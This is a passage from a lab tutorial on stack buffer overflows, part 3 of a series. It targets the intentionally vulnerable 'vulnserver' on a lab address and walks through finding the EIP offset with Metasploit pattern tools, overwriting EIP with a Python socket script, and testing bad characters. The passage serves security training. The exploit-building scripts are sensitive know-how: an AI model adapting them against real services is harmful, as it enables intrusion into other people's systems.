White Hat Institute

Buffer overflow tutorial (part 3)

5 — Finding the offset

In the previous section, we used a fuzzing script to find an approximate bytes site where it crashed. Now, we need to find the offset where the “EIP” was overwritten because that’s what we want to control from this point on. For this purpose, we need to generate a unique pattern using the Metasploit tool and send it instead of “A” characters. Then based on the output, we can find out the offset using another Metasploit module. To generate the unique pattern use the following command: (root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2200). Here we will create a random pattern with a length of 2200 bytes. Copy the patterns and use them in the fuzzing script.

buffer overflow 23

Open the “Fuzzing1.py” file in any editing tool and replace the “buffer = “A” * 100” part with the offset pattern then save it. The script should look like this:

— — — — — — — — — — — — — — — — — — — — — — — — — —

#!/usr/bin/python

import sys, socket

offset = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9

Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1

Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj

5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7

Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9

At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1A

w2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az

3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4B

c5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7

Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1B

j2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm

6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6B

p7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt

0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw

3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5B

z6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc

5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4C

f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5

Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9C

m0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6C

o7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6

Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7C

u8Cu9Cv0Cv1Cv2C”

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((‘10.10.10.4’,9999))

s.send((‘TRUN /.:/’ + offset))

s.close()

except:

print “Error connecting to server”

sys.exit()

— — — — — — — — — — — — — — — — — — — — — — — — — — —

buffer overflow 24

Before we execute the python script, we have to set the environment again. Once everything is running correctly, execute the script.

Ex: (root@kali:~# ./Fuzzing1.py).

After executing the python script, the “vulnserver” program will crash and display the overwritten value of the “EIP” (386F4337). Write it down somewhere because we will need to use it in the next step to finding the offset.

buffer overflow 25

Now, we are going to use another Metasploit tool to find the exact match for our offset. For this, use the following command with the same byte length and specify the “EIP” value that we found.

Ex: (root@kali:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 2200 -q 386F4337).

buffer overflow 26

As you can see in the screenshot above, we managed to find the exact match for our offset at 2003 bytes. Now it’s time to overwrite the “EIP.”

6 — Overwriting the EIP

In the section, we will try to overwrite the “EIP” part of the memory. In the previous example, we discovered that our offset was precisely in 2003 bytes. It means that there are 2003 bytes right before we get to the “EIP.” “EIP” by itself is 4 bytes long memory part, and here we will try to overwrite them. For this, we will need to modify our python script and send 2003 “A” characters to reach the “EIP” and then add 4 “B” characters to overwrite it. Save the changes and run the script.

— — — — — — — — — — — — — — — — — — — — — — — — — —

#!/usr/bin/python

import sys, socket

shellcode = “A” * 2003 + “B” * 4

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((‘10.10.10.4’,9999))

s.send((‘TRUN /.:/’ + shellcode))

s.close()

except:

print “Error connecting to server”

sys.exit()

— — — — — — — — — — — — — — — — — — — — — — — — — — —

buffer overflow 27

Once you execute the script, “vunserver” will crash, and the Immunity Debugger will stop because of the access violation. When you examine the debugger’s output, you’ll see that “EBP” will be filled out with all “A”s (41414141) and the “EIP” with all “B”s (42424242).

buffer overflow 28

It means that we can now control the “EIP” part of the memory, and instead of sending a bunch of “A” or “B” characters, we can send a malicious shellcode to infect our target computer and gain shell access.

7 — Finding bad characters

When generating a shellcode, we need to know what characters are bad or good for the shellcode. We can check this by running all the hexadecimal characters through our program and see if any of them displays differently. Before testing it, first, we need to find a list of “bad characters.” Open up your favorite browser and search for “finding badchars with mona.” Click on the link “Find Bad Characters with Immunity Debugger and Mona.py.”

buffer overflow 29

This particular website has already created a variable with all “bad characters” that we can use in our python script.

buffer overflow 30

Copy the variable with “bad characters” and paste them in the python script we used before. By default, the null byte “\x00” character acts up so we can remove it from the variable right away. It’s recommended to put the “bad chars” variable after the characters that cause the crash. If we start our attack string with “bad chars,” we might not get a crash at all. Save the script and run it against the “vulnserver” while monitoring from the Immunity debugger.

buffer overflow 31

So, basically our python script will run every character listed below one by one, and our job here is to examine the hex dump and take notes of any misplaced characters.

(\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1

c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37

\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x

52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x

6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\

x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\

xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xb

a\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4

\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xe

e\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff).

To examine the hex dump, after the crash occurs, right-click on the “ESP,” and from the drop-down menu, select “Follow in Dump.” It will dump and display all hex characters that we send with our python script.

buffer overflow 32

Now we see a much longer “bad chars” string on the stack. It is anything but difficult to take an easy route and look down and check whether the “\xff” character is there and expect that there is no other corruption. In this example, every corrupt byte terminated the “bad chars” string, but that is not always the case. 

Sometimes when you try to build new exploits, you will experience circumstances where a single character corrupts, but the remainder of the “bad chars” string prints efficaciously. In this situation, cautiously looking at the bytes on the stack individually to the “bad chars” string is the best way to check that there are no more bad characters. Unfortunately, it is a very tedious process, and it’s easy to make mistakes.

buffer overflow 33